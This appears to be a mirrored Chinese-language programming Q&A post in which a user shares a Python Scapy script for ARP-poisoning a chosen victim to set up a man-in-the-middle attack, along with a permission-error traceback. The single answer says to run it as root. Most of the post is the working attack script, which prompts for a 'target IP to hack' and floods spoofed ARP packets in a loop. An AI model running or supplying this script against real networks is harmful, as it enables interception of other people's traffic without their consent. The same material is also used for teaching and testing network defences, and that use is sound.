【问题标题】:Scapy error while performin Man in the middle attack执行中间人攻击时出现 Scapy 错误
【发布时间】:2019-07-04 11:15:23
【问题描述】:

我正在开发一个使用 ARP 中毒的中间人攻击。但是当我尝试运行代码时,它给了我以下错误。

Traceback (most recent call last):
  `enter code here`File "mmattack.py", line 21, in <module>
    send(arp)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/sendrecv.py", line 326, in sendp
  socket = conf.L2socket(iface=iface, *args, **kargs)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/arch/linux.py", line 445, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
  File "/usr/lib/python2.7/socket.py", line 191, in __init__
    _sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Exception AttributeError: "'L2Socket' object has no attribute 'ins'" in <bound method L2Socket.__del__ of <scapy.arch.linux.L2Socket object at 0x7fe1fc606990>> ignored

我正在运行 python 2.7 和 scapy 2.4.2

#!/usr/bin/env python

from scapy.all import *
from subprocess import call
import time

op=1 # Op code 1 for ARP requests
victim=raw_input('Enter the target IP to hack: ') #person IP to attack
victim=victim.replace(" ","")

spoof=raw_input('Enter the routers IP *SHOULD BE ON SAME ROUTER*: ')   #routers IP.. Should be the same one.
spoof=spoof.replace(" ","")

mac=raw_input('Enter the target MAC to hack: ') #mac of the victim
mac=mac.replace("-",":")
mac=mac.replace(" ","")

arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac)

while 1:
   send(arp)
  #time.sleep(2)

【问题讨论】:

    标签: python-3.x python-2.7 scapy arp man-in-the-middle


    【解决方案1】:

    socket.error: [Errno 1] 不允许操作

    您需要以 root (sudo) 身份启动您的 Python 程序/Scapy 以发送原始 ARP 数据包

    【讨论】:

      猜你喜欢
      • 2012-09-21
      • 2013-09-29
      • 1970-01-01
      • 1970-01-01
      • 2018-08-31
      • 1970-01-01
      • 2021-08-09
      • 2011-06-30
      • 1970-01-01
      相关资源
      最近更新 更多